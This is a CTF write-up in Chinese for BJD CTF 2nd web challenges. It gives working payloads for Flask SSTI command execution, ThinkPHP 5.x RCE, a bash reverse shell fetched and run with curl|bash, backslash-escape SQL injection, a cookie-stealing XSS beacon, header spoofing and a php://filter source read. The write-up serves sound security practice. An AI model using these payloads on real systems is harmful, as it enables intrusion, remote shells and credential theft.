BJD CTF 2nd web wp

fake google

正好是前段時間學過的flask ssti,先給出payload

name={{"".__class__.__mro__[1].__subclasses__()[81].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cd ../;cat flag").read()')}}

老樣子,從class—>mro—>subclasses—>globals流程中發現第81個子類可以調用eval、exec這些命令執行函數

在這裏插入圖片描述

再用eval導入os模塊中的popen.read()方法獲取終端輸出,成功cat flag

在這裏插入圖片描述

old-hack

確實老把戲了,之前說分析一直沒分析的Think PHP 5.x RCE,上一下payload吧

http://80e5b99e-b6bb-4b94-86d7-db345b6630c0.node3.buuoj.cn/index.php?s=index

POST傳參:_method=__construct&filter[]=system&server[REQUEST_METHOD]=cd ../../../../;cat flag

duangShell

提示是.swp,盲猜.index.php.swp,vim -r index.php恢復一下得到源碼

在這裏插入圖片描述

exec()函數與system()函數不同,exec()無回顯,所以選擇反彈shell

在buu的Linux靶機下的/var/www/html目錄下新建shell.txt,內容如下

bash -i >& /dev/tcp/174.1.99.10(攻擊機ip)/4444 0>&1

然後再用nc監聽攻擊機的4444端口

nc -lvvp 4444

POST傳入girl_friend=curl http://174.1.99.10/shell.txt|bash

在這裏插入圖片描述

成功反彈shell,找一下flag就行了

在這裏插入圖片描述

假豬套天下第一

這題是有.DS_Store源碼泄露的,拿Python-dsstore可以看到有以下文件

在這裏插入圖片描述

一開始嘗試用admin登錄被攔,以爲是僞造admin,耽誤了挺長時間。

後來隨便登錄一個賬號後發現在底下有一行註釋:L0g1n.php

在這裏插入圖片描述

訪問L0g1n.php被告知:Sorry, this site will be available after totally 99 years!

在這裏插入圖片描述

Cookie中存在time,存放的是當前的時間戳。加上100年的時間戳即可。

然後被告知:Sorry, this site is only optimized for those who comes from localhost

在這裏插入圖片描述

X-Forwarded-For:127.0.0.1是不行的,需要使用Client-IP或者X-Real-IP代替XFF。

需要注意的是:Sorry, this site is only optimized for browsers that run on Commodo 64

修改User-Agent: Contiki/1.0 (Commodore 64; http://dunkels.com/adam/contiki/)",也就是Commodore的UA

後面的不再贅述,最終的http頭如下

http header value
user-agent Contiki/1.0 (Commodore 64; http://dunkels.com/adam/contiki/)"
Cilent-IP 127.0.0.1
referer gem-love.com
from [email protected]
via y1ng.vip

發包之後源代碼裏有一段base64,解碼就是flag

一次就快把http頭玩了個遍,真好

簡單注入

日常找源碼中找到robots.txt,裏面告知了有hint.txt,內容如下

select * from users where username='$_POST["username"]' and password='$_POST["password"]';

fuzz的結果是union、select、like、引號都被ban了

在這裏插入圖片描述

看了dalao的wp才知道單引號逃逸,假設輸入的用戶名爲admin\,密碼爲or 1#,執行的sql語句爲

select username,password from user where username='admin\' and password='or 1#'

由於單引號被轉義,所以 and password=這部分被拼接在了username裏,or 1就逃逸了出來

這裏可以用正則注入:username=admin\ password=or password regexp 'O'

此時頁面返回正常,說明payload可行且密碼第一位爲’O’

腳本就不放了,因爲自己寫的一直被buu給ban掉,最終密碼爲OhyOuFouNdit

在這裏插入圖片描述

Schrödinger

源碼中有一個hint:Remenmber to remove test.php!

在這裏插入圖片描述

好吧我確實不知道這題的腦洞,看wp都不知道爲什麼要這樣想

最終是將cookie中dXNlcg的值替換爲base64encode後的imagin@1580308166

可能出題人就是想考一個cookie僞造,繞來繞去讓別人根本想不到

在這裏插入圖片描述

B站搜av11664517,翻評論找flag去吧

xss之光

這題存在.git源碼泄露,GitHack下載源碼下了一個index.php

<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);

xss打一下cookie就行

<?php
$s = '<script>var img=document.createElement("img");img.src="http://733cc9a9-7c27-4309-951e-d53927ec555d.node3.buuoj.cn/a?"+escape(document.cookie);</script>';
echo serialize($s);
?>

在這裏插入圖片描述

elementmaster

查看源代碼發現隱藏id:506F2E和706870,16進制轉字符串得到Po.php

大概就是flag藏在118個元素中吧,腳本跑一下就行

import os
import requests
elements = ('H', 'He', 'Li', 'Be', 'B', 'C', 'N', 'O', 'F', 'Ne', 'Na', 'Mg', 'Al', 'Si', 'P', 'S', 'Cl', 'Ar',
                  'K', 'Ca', 'Sc', 'Ti', 'V', 'Cr', 'Mn', 'Fe', 'Co', 'Ni', 'Cu', 'Zn', 'Ga', 'Ge', 'As', 'Se', 'Br', 
                  'Kr', 'Rb', 'Sr', 'Y', 'Zr', 'Nb', 'Mo', 'Te', 'Ru', 'Rh', 'Pd', 'Ag', 'Cd', 'In', 'Sn', 'Sb', 'Te', 
                  'I', 'Xe', 'Cs', 'Ba', 'La', 'Ce', 'Pr', 'Nd', 'Pm', 'Sm', 'Eu', 'Gd', 'Tb', 'Dy', 'Ho', 'Er', 'Tm', 
                  'Yb', 'Lu', 'Hf', 'Ta', 'W', 'Re', 'Os', 'Ir', 'Pt', 'Au', 'Hg', 'Tl', 'Pb', 'Bi', 'Po', 'At', 'Rn', 
                  'Fr', 'Ra', 'Ac', 'Th', 'Pa', 'U', 'Np', 'Pu', 'Am', 'Cm', 'Bk', 'Cf', 'Es', 'Fm','Md', 'No', 'Lr',
                  'Rf', 'Db', 'Sg', 'Bh', 'Hs', 'Mt', 'Ds', 'Rg', 'Cn', 'Nh', 'Fl', 'Mc', 'Lv', 'Ts', 'Og', 'Uue')
for element in elements:
    url = "http://d66f4395-2a0d-438a-a84a-727a9d88b8fd.node3.buuoj.cn/" + element + ".php"
    response = requests.get(url)
    if response.status_code == 200:
        print(response.text, end='')
    else:
        continue

得到新的文件名:And_th3_3LemEnt5_w1LL_De5tR0y_y0u.php,訪問得到flag

在這裏插入圖片描述

文件探測

F12查看源碼,註釋大概說的是藏了一個hint,在header中

在這裏插入圖片描述

robots.txt中的內容如下:

User-agent: *
Disallow: /flag.php
Disallow: /admin.php
Allow: /index.php

當然admin.php是進不去的,XFF頭也沒用,老老實實看home.php

僞協議讀取一下system.php的源代碼

http://c632182e-5c2f-48c8-a7bb-0399f9128b42.node3.buuoj.cn/home.php?file=php://filter/convert.base64-encode/resource=system
<?php
error_reporting(0);
if (!isset($_COOKIE['y1ng']) || $_COOKIE['y1ng'] !== sha1(md5('y1ng'))){
    echo "<script>alert('why you are here!');alert('fxck your scanner');alert('fxck you! get out!');</script>";
    header("Refresh:0.1;url=index.php");
    die;
}

$str2 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;url invalid<br>~$ ';
$str3 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;damn hacker!<br>~$ ';
$str4 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;request method error<br>~$ ';

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>File Detector</title>

    <link rel="stylesheet" type="text/css" href="css/normalize.css" />
    <link rel="stylesheet" type="text/css" href="css/demo.css" />

    <link rel="stylesheet" type="text/css" href="css/component.css" />

    <script src="js/modernizr.custom.js"></script>

</head>
<body>
<section>
    <form id="theForm" class="simform" autocomplete="off" action="system.php" method="post">
        <div class="simform-inner">
            <span><p><center>File Detector</center></p></span>
            <ol class="questions">
                <li>
                    <span><label for="q1">你知道目錄下都有什麼文件嗎?</label></span>
                    <input id="q1" name="q1" type="text"/>
                </li>
                <li>
                    <span><label for="q2">請輸入你想檢測文件內容長度的url</label></span>
                    <input id="q2" name="q2" type="text"/>
                </li>
                <li>
                    <span><label for="q1">你希望以何種方式訪問?GET?POST?</label></span>
                    <input id="q3" name="q3" type="text"/>
                </li>
            </ol>
            <button class="submit" type="submit" value="submit">提交</button>
            <div class="controls">
                <button class="next"></button>
                <div class="progress"></div>
                <span class="number">
					<span class="number-current"></span>
					<span class="number-total"></span>
				</span>
                <span class="error-message"></span>
            </div>
        </div>
        <span class="final-message"></span>
    </form>
    <span><p><center><a href="https://gem-love.com" target="_blank">@穎奇L'Amore</a></center></p></span>
</section>

<script type="text/javascript" src="js/classie.js"></script>
<script type="text/javascript" src="js/stepsForm.js"></script>
<script type="text/javascript">
    var theForm = document.getElementById( 'theForm' );

    new stepsForm( theForm, {
        onSubmit : function( form ) {
            classie.addClass( theForm.querySelector( '.simform-inner' ), 'hide' );
            var messageEl = theForm.querySelector( '.final-message' );
            form.submit();
            messageEl.innerHTML = 'Ok...Let me have a check';
            classie.addClass( messageEl, 'show' );
        }
    } );
</script>

</body>
</html>
<?php

$filter1 = '/^http:\/\/127\.0\.0\.1\//i';
$filter2 = '/.?f.?l.?a.?g.?/i';


if (isset($_POST['q1']) && isset($_POST['q2']) && isset($_POST['q3']) ) {
    $url = $_POST['q2'].".y1ng.txt";
    $method = $_POST['q3'];

    $str1 = "~$ python fuck.py -u \"".$url ."\" -M $method -U y1ng -P admin123123 --neglect-negative --debug --hint=xiangdemei<br>";

    echo $str1;

    if (!preg_match($filter1, $url) ){
        die($str2);
    }
    if (preg_match($filter2, $url)) {
        die($str3);
    }
    if (!preg_match('/^GET/i', $method) && !preg_match('/^POST/i', $method)) {
        die($str4);
    }
    $detect = @file_get_contents($url, false);
    print(sprintf("$url method&content_size:$method%d", $detect));
}

?>

涉及到ssrf,能力有限,暫時先鴿一鴿

EasyAspDotNet

也鴿了,等學學再回來做

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章